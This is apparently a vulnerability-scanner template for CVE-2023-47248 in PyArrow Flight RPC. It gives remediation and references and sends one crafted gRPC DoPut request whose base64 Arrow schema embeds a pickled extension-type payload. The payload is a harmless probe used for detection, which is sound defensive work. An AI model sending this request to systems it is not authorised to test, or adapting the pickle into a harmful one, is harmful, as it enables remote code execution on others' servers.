Description
PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.
PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.
id: CVE-2023-47248
info:
name: PyArrow Flight RPC - Remote Code Execution
author: smolse
severity: critical
description: |
PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.
impact: |
Unauthenticated attackers can exploit deserialization vulnerabilities through maliciously crafted Python-defined extension types in Flight RPC to execute arbitrary code and completely compromise PyArrow installations.
remediation: |
Upgrade to PyArrow v14.0.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-47248
- https://www.cve.org/CVERecord?id=CVE-2023-47248
- https://github.com/apache/arrow/commit/f14170976372436ec1d03a724d8d3f3925484ecf
- https://github.com/smolse/poc-or-gtfo/tree/main/CVE-2023-47248
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-47248
cwe-id: CWE-502
epss-score: 0.14528
epss-percentile: 0.96456
cpe: cpe:2.3:a:apache:pyarrow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: pyarrow
tags: cve,cve2023,rce,arrow,pyarrow,apache,vkev,vuln
http:
- raw:
- |
POST /arrow.flight.protocol.FlightService/DoPut HTTP/1.1
Host: {{Hostname}}
Content-Type: application/grpc
Te: trailers
Grpc-Accept-Encoding: identity, gzip, deflate
{{base64_decode("AAAAAS0KBAgBGgASpAIQAAAAAAAKAAwABgAFAAgACgAAAAABBAAMAAAACAAIAAAABAAIAAAABAAAAAEAAAAYAAAAAAASABgACAAGAAcADAAAABAAFAASAAAAAAABDxQAAADMAAAACAAAABAAAAAAAAAAAAAAAAAAAAACAAAAVAAAAAQAAAC8////CAAAACAAAAAUAAAAQVJST1c6ZXh0ZW5zaW9uOm5hbWUAAAAAFwAAAGFycm93LnB5X2V4dGVuc2lvbl90eXBlAAgADAAEAAgACAAAAAgAAAAkAAAAGAAAAEFSUk9XOmV4dGVuc2lvbjptZXRhZGF0YQAAAAAmAAAAgASVGwAAAAAAAACMCGJ1aWx0aW5zlIwHY29tcGxleJSTlClSlC4AAAQABAAEAAAA")}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "'complex' object has no attribute 'storage_type'"
- type: status
status:
- 200
# digest: 4b0a00483046022100a5a2cc6268559dfdf16f627828fa6f22b5c9a3f4eab11095ae3e97f03395ccc00221009979bf4c06d51954982bc4dba0679aa41cecd67d5c4e54c857b95ef38797984b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.